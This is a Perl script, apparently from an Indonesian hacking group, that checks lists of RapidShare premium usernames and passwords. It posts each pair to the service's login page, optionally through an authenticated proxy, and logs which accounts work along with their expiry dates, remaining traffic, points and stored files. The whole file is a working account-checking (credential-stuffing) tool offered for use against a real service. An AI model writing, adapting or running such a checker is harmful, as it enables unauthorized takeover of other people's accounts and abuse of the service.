#!/usr/bin/perl
#
# rapidcheckuserv002.pl

use strict;
use LWP; 
use HTTP::Cookies;
use Getopt::Std;
use Crypt::SSLeay;

my $bannerku=<<END

*************************************************************
SKRIP UNTUK MENGECEK USER PREMIUM RAPIDSHARE.COM
rapidshare.com

by iko94(iko94\@yahoo\.com) aka b1ma \@ CyberPhreaking
www.geocities.com/iko94

use : $0 -l "user:password"
use : $0 -f "cekpremix.txt"
use : $0 -f "cekpremix.txt" -p "userproxy:passwordproxy\@127.0.0.1:3128"

PRIVATE PRIVATE PRIVATE PRIVATE ( yes...we did it again... )
*************************************************************

END
;

print($bannerku);

getopts('l:f:p:');
our($opt_l,$opt_f,$opt_p);
#die("\n[~] Harus diisi target user:password !!!\n\n") if not ($opt_l||$opt_f);
#my $user;
#my $passwod;
my @daptar;
my $elemen;

#printlog("$user  ::  $passwod \n\n");
my $Agent  = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3";
my $browser = LWP::UserAgent->new;
push @{ $browser->requests_redirectable }, 'POST';
$browser -> agent($Agent);
if ($opt_p) {
	if ($opt_p=~m/(.+?)\:(.+?)\@((?:.+?)\:(?:.+))/) {
		$opt_p = "http://$3";
		$ENV{HTTPS_PROXY}		= $opt_p;
		$ENV{HTTPS_PROXY_USERNAME}	= $1;
		$ENV{HTTPS_PROXY_PASSWORD}	= $2;
		#$browser ->proxy(['http', 'https'], 'http://'.$opt_p.'/') if ($opt_p);
		#$browser ->proxy(['https'], 'https://'.$opt_p.'/') if ($opt_p);
	} elsif ($opt_p=~m/((?:.+?)\:(?:.+))/) {
		$opt_p = "http://$1";
		$ENV{HTTPS_PROXY}		= $opt_p;
	} else 	{
			printlog ("\n[*] Silahken memasukkan Opsi Proxy seperti pada contoh !!!\n\n");
			die("\n");
	}
}
$browser ->timeout(45);
my @waktu = localtime(time);
my $log = 'rapidcuv002-'.$waktu[3].($waktu[4]+1).($waktu[5]+1900).'-'.$waktu[2].'-'.$waktu[1].'-'.$waktu[0].'.txt';
my $kokis = "lwpcookiesrapidcuv002.txt";
$browser->cookie_jar(HTTP::Cookies->new(file => $kokis, autosave => 1));

my $url = "https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi";

printlog ("\n[*] Processing: $url .....\n\n");
#printlog ("\n[*] Processing: $user  ::  $passwod\n\n");

if ($opt_l) {
	if ($opt_l=~m/(.+?)\:(.+)/) {
		#$user  = $1;
		#$passwod = $2;
		printlog ("\n[*] Processing: $1  ::  $2\n\n");
		&poss($url,$1,$2);
	} else {die("\n[~] Format user:password salah  !!!\n\n");}
}
elsif ($opt_f) {
	open(UF, $opt_f) || die "\nI can't open the list\n";
	@daptar=<UF>;
	close(UF);
	foreach $elemen(@daptar){
		chomp($elemen);
		if ($elemen=~/(.+):(.+)/) {
			printlog ("\n[*] Processing: $1  ::  $2\n\n");
			&poss($url,$1,$2);
		} #of if
		sleep 1;
	} #of foreach
}
else {
	printlog ("\n[*] Silahken memasukkan Opsi seperti pada contoh !!!\n\n");
	die("\n");
}

sub poss {
	my $uurl = shift;
	my $uuser = shift;
	my $upasswod = shift;
	
	my $lihat = HTTP::Request->new(POST => $uurl);
	$lihat->content_type('application/x-www-form-urlencoded');
	$lihat->referer('https://ssl.rapidshare.com/premiumzone.html');
	my $loginsend = 'uselandingpage=1&'.
                'login='.$uuser.'&'.
                'password='.$upasswod;
	$lihat->content-length($loginsend);
	$lihat->content($loginsend);
	my $lihatresponse = $browser->request($lihat);
	if ($lihatresponse->is_success) {
	  #printlog($lihatresponse->as_string);
	  my $kutukupret=join("",$lihatresponse->as_string);
	  #my $cucok=$kutukupret=~m/Overview of the Account\: (.+?)\<\/div\>\<\/a\>\<\/td\>/sg;
		if ($kutukupret=~m/Overview of the Account\: (.+?)\<\/div\>\<\/a\>\<\/td\>/sg) {
                 printlog("\n[+] Login Premium Account $1 Berhasil\n");
               }
		elsif ($kutukupret=~m/\<p\>Your Premium Account has not been found\.\<\/p\>/sg) {
                 printlog("\n[+] Your Premium Account has not been found. \n\n");
				 die("[-] Error...\n\n"); 
               }
		elsif ($kutukupret=~m/\<p\>The Account has been found\, but the password is incorrect\.\<\/p\>/sg) {
                 printlog("\n[+] The Account has been found, but the password is incorrect. \n\n");
				 die("[-] Error...\n\n"); 
               }
  		else {	printlog("\n[-] Login Gagal ! Mungkin diblokir atau Password salah.\n");
				printlog($lihatresponse->as_string);
				die("[-] Error...\n\n"); 
        }
	    if ($kutukupret=~m/\<td\>Expiration date\:\<\/td\>\<td style\=\"padding\-right\:20px\;\"\>\<b\>(.+?)\<\/b\>\<\/td\>/sg) {
                 printlog("\n[+] Tanggal Expired : $1 \n");
               }
  		else {	printlog("\n[-] TGL Expired Gagal ! Mungkin diblokir atau overlimit.\n");
				printlog($lihatresponse->as_string);
				die("[-] Error...\n\n"); 
        } 
		if ($kutukupret=~m/\<td\>Traffic left\:\<\/td\>\<td align\=right\>\<b\>\<script\>document\.write\(setzeTT\(\"\"\+Math\.ceil\((.+?)\)\)\)\;\<\/script\> (.+?)\<\/b\>\<\/td\>/sg) {
                 printlog("\n[+] Traffic left : $1 $2 ");
               }
  		else {	printlog("\n[-] Traffic left 1 Gagal ! Mungkin diblokir atau overlimit.\n");
				printlog($lihatresponse->as_string);
				die("[-] Error...\n\n"); 
        }
		if ($kutukupret=~m/credited to the download quota\.\'\)\" style\=\"cursor\:help\"\>(.+?)\<\/a\>\)\<\/b\>\<\/td\>/sg) {
                 printlog("($1) \n");
               }
  		else {	printlog("\n[-] Traffic left 2 Gagal ! Mungkin diblokir atau overlimit.\n");
				printlog($lihatresponse->as_string);
				die("[-] Error...\n\n"); 
        }
		if ($kutukupret=~m/\<td\>RapidPoints\:\<\/td\>\<td align\=right style\=\"padding\-right\:20px\;\"\>\<b\>(.+?)\<\/b\>\<\/td\>/sg) {
                 printlog("\n[+] RapidPoints : $1 \n");
               }
  		else {	printlog("\n[-] RapidPoints Gagal ! Mungkin diblokir atau overlimit.\n");
				printlog($lihatresponse->as_string);
				die("[-] Error...\n\n"); 
        }
		if ($kutukupret=~m/\<td\>Server time\:\<\/td\>\<td style\=\"padding\-right\:20px\;\"\>\<b\>(.+?)\<\/b\>\<\/td\>/sg) {
                 printlog("\n[+] Server time : $1 \n");
               }
  		else {	printlog("\n[-] Server time Gagal ! Mungkin diblokir atau overlimit.\n");
				printlog($lihatresponse->as_string);
				die("[-] Error...\n\n"); 
        }
		if ($kutukupret=~m/\<td\>Used storage\:\<\/td\>\<td align\=right\>\<b\>\<script\>document\.write\(setzeTT\(\"(.+?)\"\)\)\<\/script\>(.+?)\<\/b\>\<\/td\>/sg) {
                 printlog("\n[+] Used storage : $1 $2\n");
               }
  		else {	printlog("\n[-] Used storage Gagal ! Mungkin diblokir atau overlimit.\n");
				printlog($lihatresponse->as_string);
				die("[-] Error...\n\n"); 
        }
		if ($kutukupret=~m/help\"\>RapidPoints PU\<\/a\>\:\<\/td\>\<td align\=right style\=\"padding\-right\:20px\;\"\>\<b\>(.+?)\<\/b\>\<\/td\>/sg) {
                 printlog("\n[+] RapidPoints PU : $1 \n");
               }
  		else {	printlog("\n[-] RapidPoints PU Gagal ! Mungkin diblokir atau overlimit.\n");
				printlog($lihatresponse->as_string);
				die("[-] Error...\n\n"); 
        }
		if ($kutukupret=~m/\<td\>TrafficShare left\:\<\/td\>\<td align\=right style\=\"padding\-right\:20px\;\"\>\<b\>(.+?)\<\/b\>\<\/td\>/sg) {
                 printlog("\n[+] TrafficShare left : $1 \n");
               }
  		else {	printlog("\n[-] TrafficShare left Gagal ! Mungkin diblokir atau overlimit.\n");
				printlog($lihatresponse->as_string);
				die("[-] Error...\n\n"); 
        }
		if ($kutukupret=~m/\<td\>Files\:\<\/td\>\<td align\=right\>\<b\>(.+?)\<\/b\>\<\/td\>/sg) {
                 printlog("\n[+] Files : $1 \n");
               }
  		else {	printlog("\n[-] Files Gagal ! Mungkin diblokir atau overlimit.\n");
				printlog($lihatresponse->as_string);
				die("[-] Error...\n\n"); 
        }
		
	  }
	else { 
	   print "[-] Error: ".$lihatresponse->status_line."\n\n" ; printlog ($lihatresponse->as_string);
	   die("[-] Error...\n\n"); 
		}
	printlog ("\n[*] *************\n\n");	
} #end of sub


sub printlog {
 print @_[0]; 
 open(lo,">>$log");
 print lo @_[0];
 close(lo);
 return;
}